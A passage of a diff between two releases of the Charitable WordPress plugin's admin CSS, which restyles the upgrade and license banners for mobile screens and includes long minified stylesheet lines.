.charitable-remove-dashboard-notification{position:static;top:auto;right:auto}.charitable-dashboard-v2-notifications .charitable-dashboard-notification{margin:0;border:0;background:#fff;border-radius:0;box-shadow:none}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message{padding:15px 20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-dashboard-notification-headline{margin:0 0 10px 0;font-size:16px;font-weight:600;color:#1d2327;display:flex;align-items:center;gap:6px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-type-icon{font-size:18px;width:18px;height:18px;line-height:1;flex-shrink:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message p{margin:0 0 10px 0;line-height:1.5}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul{margin:10px 0;padding-left:20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul li{margin-bottom:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button{display:inline-block;padding:8px 16px;background-color:#5aa152;color:#fff;font-size:13px;font-weight:600;line-height:1.5;text-decoration:none;border-radius:4px;margin-top:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button:hover{background-color:#4a8a44;color:#fff}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=notice] .charitable-notification-type-icon{color:#00a0d2}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=warning] .charitable-notification-type-icon{color:#ffb900}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=error] .charitable-notification-type-icon{color:#dc3232}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar{display:flex;justify-content:space-between;align-items:center;padding:10px 15px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{color:#666;text-decoration:none;font-size:18px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{color:#000}.charitable-dashboard-v2-enhance-grid-icon{display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-table{width:100%;border-collapse:collapse}.charitable-dashboard-v2-table thead th{background:rgba(25,29,45,.02);font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.5);padding:16px 12px;text-align:left;border-bottom:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-table tbody td{padding:16px 12px;border-bottom:1px solid rgba(24,36,69,.05)}.charitable-dashboard-v2-table tbody tr:last-child td{border-bottom:none}.charitable-dashboard-v2-table-donations{margin-top:0}.charitable-dashboard-v2-table-donations th{background-color:#f8fafc;border-bottom:1px solid #e2e8f0;padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25,29,45,.8)}.charitable-dashboard-v2-table-donations th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-donations td:first-child,.charitable-dashboard-v2-table-donations th:first-child{width:calc(100% - 120px)!important}.charitable-dashboard-v2-table-donations td:last-child,.charitable-dashboard-v2-table-donations th:last-child{width:auto!important}.charitable-dashboard-v2-table-donations tr{transition:background-color .2s ease}.charitable-dashboard-v2-table-donations tr:hover{background-color:rgba(248,250,252,.8)}.charitable-dashboard-v2-table tr{transition:background-color .2s ease}.charitable-dashboard-v2-table tr:hover{background-color:rgba(248,250,252,.8)}.charitable-dashboard-v2-table-donations td{padding:20px;border-bottom:1px solid #e2e8f0;vertical-align:top}.charitable-dashboard-v2-table-donations td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.donation-details{display:flex;flex-direction:column;gap:8px}.donation-header{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:auto auto;gap:8px 20px;align-items:start;text-align:left}.donation-name{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0;color:#191d2d}.donation-name a{color:#191d2d;text-decoration:none;transition:color .2s ease;font-size:11px;font-weight:400}.donation-name a:hover{color:#2b66d1;text-decoration:underline}.donation-timestamp{font-weight:200;font-size:11px;margin-top:4px;margin-left:0}.donation-amount{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8)}.donation-method{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8)}.donation-amount strong,.donation-method strong{font-weight:700}.donation-amount strong,.donation-method strong{color:rgba(25,29,45,.8)}.donation-method-stripe{color:#645aff!important}.charitable-dashboard-v2-table-comments{margin-top:0}.charitable-dashboard-v2-table-donors{margin-top:0}.charitable-dashboard-v2-table-donors th{background-color:#f8fafc;border-bottom:1px solid #e2e8f0;padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:13px;line-height:16px;letter-spacing:0;color:rgba(25,29,45,.8)}.charitable-dashboard-v2-table-donors td{padding:16px 20px;border-bottom:1px solid rgba(226,232,240,.5);vertical-align:middle}.donor-avatar img{border-radius:50%;width:40px;height:40px;object-fit:cover}.donor-details{display:flex;flex-direction:column;gap:4px}.donor-name{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.9)}.donor-email{font-family:Inter;font-weight:400;font-size:13px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.7)}.donor-amount{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0;color:#191d2d}.donor-badge{display:inline-flex;align-items:center;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:16px;letter-spacing:0;text-align:center}.donor-badge.recurring{background-color:rgba(59,130,246,.1);color:#3b82f6}.donor-badge.multiple{background-color:rgba(16,185,129,.1);color:#10b981}.donor-badge.one-time{background-color:rgba(245,158,11,.1);color:#f59e0b}.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors td:first-child,.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors th:first-child{width:30px!important;padding-left:30px}.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table td:last-child,.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table th:last-child{padding-right:30px}.charitable-dashboard-v2-tab-nav-item:focus{outline:0}.charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav-item:focus{outline:0}.charitable-dashboard-v2-quick-access-items a{position:relative;text-decoration:none!important}.charitable-dashboard-v2-quick-access-items a::before{content:\"\";position:absolute;width:100%;height:2px;border-radius:2px;background-color:#18272f;bottom:-4px;left:0;transform-origin:right;transform:scaleX(0);transition:transform .3s ease-in-out}.charitable-dashboard-v2-quick-access-items a:hover::before{transform-origin:left;transform:scaleX(1)}.charitable-dashboard-v2-rate-link{display:flex!important;align-items:center!important;gap:8px!important;transition:gap .3s ease!important;text-decoration:none!important}.charitable-dashboard-v2-rate-link:hover{gap:4px!important;text-decoration:none!important}.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon,.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text{display:inline-block}.charitable-dashboard-v2-addons-link{display:flex!important;align-items:center!important;gap:8px!important;transition:gap .3s ease!important;text-decoration:none!important}.charitable-dashboard-v2-addons-link:hover{gap:4px!important;text-decoration:none!important}.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text,.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{display:inline-block}.charitable-dashboard-v2-table-container{max-height:400px;overflow-y:auto}.charitable-dashboard-v2-table-comments th{background-color:#f8fafc;border-bottom:1px solid #e2e8f0;padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25,29,45,.8)}.charitable-dashboard-v2-table-comments th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-comments td:first-child,.charitable-dashboard-v2-table-comments th:first-child{width:calc(100% - 120px)!important}.charitable-dashboard-v2-table-comments td:last-child,.charitable-dashboard-v2-table-comments th:last-child{width:auto!important}.charitable-dashboard-v2-table-comments tr{transition:background-color .2s ease}.charitable-dashboard-v2-table-comments tr:hover{background-color:rgba(248,250,252,.8)}.charitable-dashboard-v2-table-comments td{padding:20px;border-bottom:1px solid #e2e8f0;vertical-align:top}.charitable-dashboard-v2-table-comments td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.comment-details{display:flex;flex-direction:column;gap:8px}.comment-header{display:flex;flex-direction:column;gap:8px;align-items:flex-start;text-align:left}.comment-name{font-family:Inter;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.9)}.comment-text{font-family:Inter;font-weight:500;font-size:13px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.8)}.comment-actions{display:flex;align-items:center;justify-content:end;gap:10px}.comment-action{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0;vertical-align:middle;text-decoration:underline;text-decoration-style:solid;text-decoration-offset:0%;text-decoration-thickness:0%;color:rgba(25,29,45,.7);transition:color .2s ease}.comment-action:hover{color:rgba(25,29,45,.9)}.comment-action.approve{color:rgba(25,29,45,.7)}.comment-action.approve:hover{color:rgba(25,29,45,.9)}.comment-action.delete{color:rgba(25,29,45,.7)}.comment-action.delete:hover{color:rgba(25,29,45,.9)}.comment-action-separator{color:rgba(25,29,45,.3);font-weight:400;font-size:11px}.comment-status-approved{color:#0f8b00;font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0}.status-badge{display:inline-flex;align-items:center;padding:6px 12px;border-radius:6px;font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0;text-align:center;white-space:nowrap}.status-active,.status-approved,.status-paid{background-color:#eafbe8;color:#0f8b00}.charitable-dashboard-v2-placeholder{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:60px 20px;text-align:center}.charitable-dashboard-v2-placeholder-icon{margin-bottom:24px}.charitable-dashboard-v2-placeholder-title{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.8);margin:0 0 12px 0}.charitable-dashboard-v2-placeholder-description{font-family:Inter;font-weight:400;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.6);margin:0;max-width:400px}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button{display:inline-block;padding:10px 20px;background:#da9021;color:#fff;text-decoration:none;border-radius:4px;font-weight:600;font-size:14px;transition:background-color .2s ease;margin-top:10px;border:0}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:hover{background:#c4821e;color:#fff;text-decoration:none}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:disabled{background:#9ca3af;cursor:not-allowed}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button .button-loading{display:inline-flex;align-items:center;gap:8px}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.css\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -1564,8 +1564,34 @@\n   width: 80px;\n }\n \n+\u002F*\n+ * The Lite -> Pro upgrade banner (\"You're using Charitable Lite!\").\n+ *\n+ * Visual properties (orange background, white text, font, base padding) live\n+ * at the base selector so they apply at every viewport. Previously they were\n+ * scoped inside @media (min-width: 783px), which left mobile admins with a\n+ * bare default-styled banner once the WP admin breakpoint flipped.\n+ *\n+ * Layout properties that depend on the desktop admin column (negative\n+ * margin to align with the wider sidebar offset, tighter padding) stay\n+ * inside the 783px media query.\n+ *\u002F\n .charitable-admin-banner-top-of-page {\n   text-align: center;\n+  background: #E89940;\n+  color: #fff;\n+  font-size: 13px;\n+  line-height: 1.4;\n+  padding: 10px 46px 10px 22px;\n+}\n+.charitable-admin-banner-top-of-page a {\n+  color: white;\n+}\n+.charitable-license-expiring-banner.charitable-admin-banner-top-of-page {\n+  background: #e84040;\n+}\n+.charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover {\n+  color: white !important;\n }\n .charitable-admin-banner-top-of-page .button-link {\n   position: absolute;\n@@ -1579,39 +1605,28 @@\n   padding: 6px 10px;\n }\n \n+@media screen and (min-width: 601px) {\n+  .charitable-admin-banner-top-of-page .button-link {\n+    top: 0;\n+  }\n+}\n @media screen and (min-width: 783px) {\n   .charitable-admin-banner-top-of-page {\n-    padding: 10px 46px 10px 22px;\n-    font-size: 13px;\n-    line-height: 1.4;\n-    color: #fff;\n     margin-left: -20px;\n     padding: 9px 32px 9px 20px;\n-    background: #E89940;\n     display: none;\n   }\n-  .charitable-admin-banner-top-of-page a {\n-    color: white;\n-  }\n   [dir=rtl] .charitable-admin-banner-top-of-page {\n     margin-left: 0;\n     margin-right: -20px;\n   }\n-  .charitable-license-expiring-banner.charitable-admin-banner-top-of-page {\n-    background: #e84040;\n-  }\n-  .charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover {\n-    color: white !important;\n-  }\n-}\n-@media screen and (min-width: 601px) {\n   .charitable-admin-banner-top-of-page .button-link {\n-    top: 0;\n+    right: 9px;\n   }\n }\n-@media screen and (min-width: 783px) {\n-  .charitable-admin-banner-top-of-page .button-link {\n-    right: 9px;\n+@media screen and (max-width: 782px) {\n+  .charitable-admin-banner-top-of-page {\n+    margin-left: -10px;\n   }\n }\n .charitable-notice.notice-five-star-review {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.min.css\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin-legacy.min.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-@charset \"UTF-8\";.cf:after,.cf:before{content:\" \";display:table}.cf:after{clear:both}.charitable-media-block{overflow:hidden}.charitable-media-block .charitable-media-image{float:left;margin-right:12px}.charitable-media-block .charitable-media-image img{display:block}.charitable-media-block .charitable-media-body{overflow:hidden}.ui-datepicker{display:none}.ui-datepicker.charitable-datepicker-table{background-color:#fff;padding:0;border:1px solid #dedede;width:auto;z-index:100000!important}.ui-datepicker.charitable-datepicker-table .ui-datepicker-header{padding:10px 20px;background:#f5f5f5;text-align:center;border:0;border-bottom:1px solid #dfdfdf;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next,.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev{position:absolute;top:10px;width:auto;height:auto;color:#0073aa;cursor:pointer}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next .ui-icon,.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev .ui-icon{position:static;top:0;left:0;width:auto;height:auto;margin:0;background-image:none;text-indent:0;font-weight:400}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev{left:10px}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next{right:10px}.ui-datepicker.charitable-datepicker-table .ui-state-hover{border:none;background:0 0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar{width:100%;padding:10px;margin:0;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td{border:1px solid #dedede}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar a{display:block;padding:6px;border:none;color:#747474;background:0 0;text-decoration:none;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:first-child{border-left:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar .ui-datepicker-unselectable,.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:hover{background-color:#f5f5f5}.charitable-metabox.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}.charitable-metabox.postbox .inside{margin-top:0;padding:0}.charitable-metabox .postbox-title{padding:0 0 8px 0}.charitable-metabox .postbox-header{border-bottom:none}.charitable-metabox .handlediv,.charitable-metabox .hndle{display:none}.charitable-metabox input,.charitable-metabox textarea{padding:14px 10px;width:100%}.charitable-metabox select{width:100%}.charitable-metabox input[type=button],.charitable-metabox input[type=checkbox],.charitable-metabox input[type=radio],.charitable-metabox input[type=submit]{width:auto}.charitable-metabox .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}.charitable-metabox .widefat th{font-size:13px}.charitable-metabox .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}.charitable-metabox .widefat .remove-col,.charitable-metabox .widefat .reorder-col{vertical-align:middle;text-align:center}.charitable-metabox .widefat .remove-col span,.charitable-metabox .widefat .reorder-col span{font-size:20px;color:#aaa}.charitable-metabox .widefat .remove-col span:hover,.charitable-metabox .widefat .reorder-col span:hover{color:#444}.charitable-metabox .widefat .reorder-col{width:10px;padding-right:0}.charitable-metabox .widefat .reorder-col span{cursor:move}.charitable-metabox .widefat .remove-col{width:20px;padding-left:0}.charitable-metabox .widefat .remove-col span{cursor:pointer}.charitable-metabox .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}.charitable-metabox .table-header{background:#f5f5f5}.charitable-metabox .table-header label{margin-bottom:0;font-weight:700}.charitable-metabox .charitable-metabox-header{margin:24px 0}.charitable-metabox h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}.charitable-metabox .inside>.charitable-metabox-header:first-child{margin-top:0}#side-sortables .charitable-metabox-wrap{float:none}.charitable-metabox-header{float:left;width:100%}.charitable-metabox-wrap{width:100%;float:left;margin-bottom:24px}.charitable-metabox-wrap .charitable-helper{display:block;padding-top:8px;font-style:italic}.charitable-metabox-wrap label,.charitable-metabox-wrap legend{display:block;margin-bottom:8px;font-weight:700}.charitable-metabox-wrap th label{margin-bottom:0}.charitable-metabox-wrap input,.charitable-metabox-wrap textarea{width:100%;padding:8px 10px}.charitable-metabox-wrap select{width:100%;padding:0 10px;height:46px;line-height:46px}.charitable-metabox-wrap input[type=checkbox],.charitable-metabox-wrap input[type=radio]{width:auto}.charitable-metabox-wrap.charitable-multi-checkbox-wrap,.charitable-metabox-wrap.charitable-radio-wrap{margin-bottom:14px}.charitable-metabox-wrap .charitable-checkbox-fieldset legend,.charitable-metabox-wrap .charitable-radio-fieldset legend{margin-bottom:0}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-helper,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-helper{padding:0}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list{margin-top:8px}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list li,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list li,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list li,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list li{display:block}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list label,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list label,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list label,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list label{vertical-align:baseline}.charitable-metabox-wrap .select2-selection.select2-selection--single{height:46px;font-size:14px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__rendered{line-height:46px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__arrow{height:46px}.charitable-metabox-wrap .select2-results__option{margin-bottom:0}.charitable-checkbox-wrap label{display:inline;font-weight:400}.charitable-checkbox-list{display:flex;flex-direction:row;flex-wrap:wrap;width:75%!important;gap:8px}.charitable-checkbox-list li{font-size:15px;line-height:15px;width:calc(50% - 5px)}.charitable-radio-list label{display:inline-block;font-weight:400}.charitable-radio-list li{margin-bottom:8px}.charitable-radio-list label{margin-bottom:0;vertical-align:text-bottom}.charitable-metabox-block{padding:10px;margin-bottom:10px;border:1px solid #dedede}body.post-type-campaign .postbox-container .empty-container,body.post-type-donation .postbox-container .empty-container{border:none;height:auto}.charitable-actions-form{padding:12px 12px 18px 12px}.charitable-actions-submit{background-color:#f8f8f8;padding:12px;border-top:1px solid #e5e5e5}.charitable-actions-submit .button-primary{float:right}.charitable-action-fields{margin-top:20px}.post-type-campaign .postbox-title{border-bottom:1px solid #eee}#campaign-description.postbox,#campaign-end-date.postbox,#campaign-goal.postbox,#campaign-title.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}#campaign-description.postbox .inside,#campaign-end-date.postbox .inside,#campaign-goal.postbox .inside,#campaign-title.postbox .inside{margin-top:0;padding:0}#campaign-description.postbox .postbox-title,#campaign-end-date.postbox .postbox-title,#campaign-goal.postbox .postbox-title,#campaign-title.postbox .postbox-title{padding:0 0 8px 0}#campaign-description.postbox .postbox-header,#campaign-end-date.postbox .postbox-header,#campaign-goal.postbox .postbox-header,#campaign-title.postbox .postbox-header{border-bottom:none}#campaign-description.postbox .handlediv,#campaign-description.postbox .hndle,#campaign-end-date.postbox .handlediv,#campaign-end-date.postbox .hndle,#campaign-goal.postbox .handlediv,#campaign-goal.postbox .hndle,#campaign-title.postbox .handlediv,#campaign-title.postbox .hndle{display:none}#campaign-description input,#campaign-description textarea,#campaign-end-date input,#campaign-end-date textarea,#campaign-goal input,#campaign-goal textarea,#campaign-title input,#campaign-title textarea{padding:14px 10px;width:100%}#campaign-description select,#campaign-end-date select,#campaign-goal select,#campaign-title select{width:100%}#campaign-description input[type=button],#campaign-description input[type=checkbox],#campaign-description input[type=radio],#campaign-description input[type=submit],#campaign-end-date input[type=button],#campaign-end-date input[type=checkbox],#campaign-end-date input[type=radio],#campaign-end-date input[type=submit],#campaign-goal input[type=button],#campaign-goal input[type=checkbox],#campaign-goal input[type=radio],#campaign-goal input[type=submit],#campaign-title input[type=button],#campaign-title input[type=checkbox],#campaign-title input[type=radio],#campaign-title input[type=submit]{width:auto}#campaign-description .charitable-metabox-title,#campaign-end-date .charitable-metabox-title,#campaign-goal .charitable-metabox-title,#campaign-title .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}#campaign-description .widefat th,#campaign-end-date .widefat th,#campaign-goal .widefat th,#campaign-title .widefat th{font-size:13px}#campaign-description .widefat tbody th,#campaign-end-date .widefat tbody th,#campaign-goal .widefat tbody th,#campaign-title .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}#campaign-description .widefat .remove-col,#campaign-description .widefat .reorder-col,#campaign-end-date .widefat .remove-col,#campaign-end-date .widefat .reorder-col,#campaign-goal .widefat .remove-col,#campaign-goal .widefat .reorder-col,#campaign-title .widefat .remove-col,#campaign-title .widefat .reorder-col{vertical-align:middle;text-align:center}#campaign-description .widefat .remove-col span,#campaign-description .widefat .reorder-col span,#campaign-end-date .widefat .remove-col span,#campaign-end-date .widefat .reorder-col span,#campaign-goal .widefat .remove-col span,#campaign-goal .widefat .reorder-col span,#campaign-title .widefat .remove-col span,#campaign-title .widefat .reorder-col span{font-size:20px;color:#aaa}#campaign-description .widefat .remove-col span:hover,#campaign-description .widefat .reorder-col span:hover,#campaign-end-date .widefat .remove-col span:hover,#campaign-end-date .widefat .reorder-col span:hover,#campaign-goal .widefat .remove-col span:hover,#campaign-goal .widefat .reorder-col span:hover,#campaign-title .widefat .remove-col span:hover,#campaign-title .widefat .reorder-col span:hover{color:#444}#campaign-description .widefat .reorder-col,#campaign-end-date .widefat .reorder-col,#campaign-goal .widefat .reorder-col,#campaign-title .widefat .reorder-col{width:10px;padding-right:0}#campaign-description .widefat .reorder-col span,#campaign-end-date .widefat .reorder-col span,#campaign-goal .widefat .reorder-col span,#campaign-title .widefat .reorder-col span{cursor:move}#campaign-description .widefat .remove-col,#campaign-end-date .widefat .remove-col,#campaign-goal .widefat .remove-col,#campaign-title .widefat .remove-col{width:20px;padding-left:0}#campaign-description .widefat .remove-col span,#campaign-end-date .widefat .remove-col span,#campaign-goal .widefat .remove-col span,#campaign-title .widefat .remove-col span{cursor:pointer}#campaign-description .widefat .ui-sortable-helper,#campaign-end-date .widefat .ui-sortable-helper,#campaign-goal .widefat .ui-sortable-helper,#campaign-title .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}#campaign-description .table-header,#campaign-end-date .table-header,#campaign-goal .table-header,#campaign-title .table-header{background:#f5f5f5}#campaign-description .table-header label,#campaign-end-date .table-header label,#campaign-goal .table-header label,#campaign-title .table-header label{margin-bottom:0;font-weight:700}#campaign-description .charitable-metabox-header,#campaign-end-date .charitable-metabox-header,#campaign-goal .charitable-metabox-header,#campaign-title .charitable-metabox-header{margin:24px 0}#campaign-description h4.charitable-metabox-header,#campaign-end-date h4.charitable-metabox-header,#campaign-goal h4.charitable-metabox-header,#campaign-title h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}#campaign-description .inside>.charitable-metabox-header:first-child,#campaign-end-date .inside>.charitable-metabox-header:first-child,#campaign-goal .inside>.charitable-metabox-header:first-child,#campaign-title .inside>.charitable-metabox-header:first-child{margin-top:0}#campaign-top-sortables{padding-top:20px}#campaign-top-sortables>.postbox:nth-child(2),#campaign-top-sortables>.postbox:nth-child(3){float:left;width:48%}#campaign-top-sortables>.postbox:nth-child(2){padding-right:4%}#campaign-top-sortables #campaign-description{clear:both}@media (max-width:37.5em){#campaign-top-sortables>.postbox:nth-child(2),#campaign-top-sortables>.postbox:nth-child(3){width:100%;padding:0 0 24px}}#charitable-campaign-end-date-metabox-wrap{position:relative}#charitable-campaign-end-date-metabox-wrap .charitable-end-time{position:absolute;right:0;top:2px;width:80px;padding:20px 10px;border-left:1px solid rgba(0,0,0,.07);box-shadow:inset 0 1px 2px rgba(0,0,0,.07);background:#f5f5f5;text-align:center;border-radius:0 4px 4px 0}@media (min-width:48.875em){#charitable-campaign-end-date-metabox-wrap .charitable-end-time{padding:18px 10px}}#campaign-end-date.postbox #charitable-campaign-end-date-metabox-wrap label{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#campaign-settings .postbox-title{border:none}#campaign-settings .inside{margin:0;padding:0}#campaign-settings .ui-tabs{clear:both;padding:0;background-color:#f5f5f5;border:none;border-radius:0;font-family:\"Open Sans\",sans-serif;font-size:13px}#campaign-settings .ui-tabs:after,#campaign-settings .ui-tabs:before{content:\" \";display:table}#campaign-settings .ui-tabs:after{clear:both}#campaign-settings .ui-tabs .wp-editor-expand #wp-content-editor-tools{background-color:transparent}#campaign-settings .ui-tabs-nav{float:left;width:20%;margin:0;padding:0;border:none;background:0 0;line-height:1em;height:auto}#campaign-settings .ui-tabs-nav li{position:relative;top:0;display:block;width:100%;float:none;background:0 0;margin:0;padding:0 1px 0 0;border:0;white-space:normal}#campaign-settings .ui-tabs-nav a{display:block;float:none;padding:10px;color:#747474;text-decoration:none;border:none;text-shadow:none;margin:0;font-weight:400}#campaign-settings .ui-tabs-nav li.ui-tabs-active{z-index:2;margin-right:-2px;border-top:1px solid #dedede;border-bottom:1px solid #dedede!important;background-color:#fff}#campaign-settings .ui-tabs-nav li:first-child{border-top-color:1px solid #dedede}#campaign-settings .ui-tabs-nav li.ui-tabs-active:first-child{border-top-color:transparent}#campaign-settings .ui-tabs-nav li:last-child{margin-bottom:10px;border-bottom-color:transparent}#campaign-settings .ui-tabs-panel{clear:none;box-sizing:border-box;float:right;width:80%;padding:20px;margin:0;border-left:1px solid #dedede;border-top:0;background-color:#fff}#campaign-settings #wp-content-editor-tools{padding-top:0}.charitable-campaign-settings-panel .charitable-metabox-header:first-child{margin-top:0}#charitable-campaign-suggested-donations .amount-col{width:100px;min-width:35%}.charitable-benefactor-wrap{padding:0 10px 10px;margin-top:10px;border:1px solid 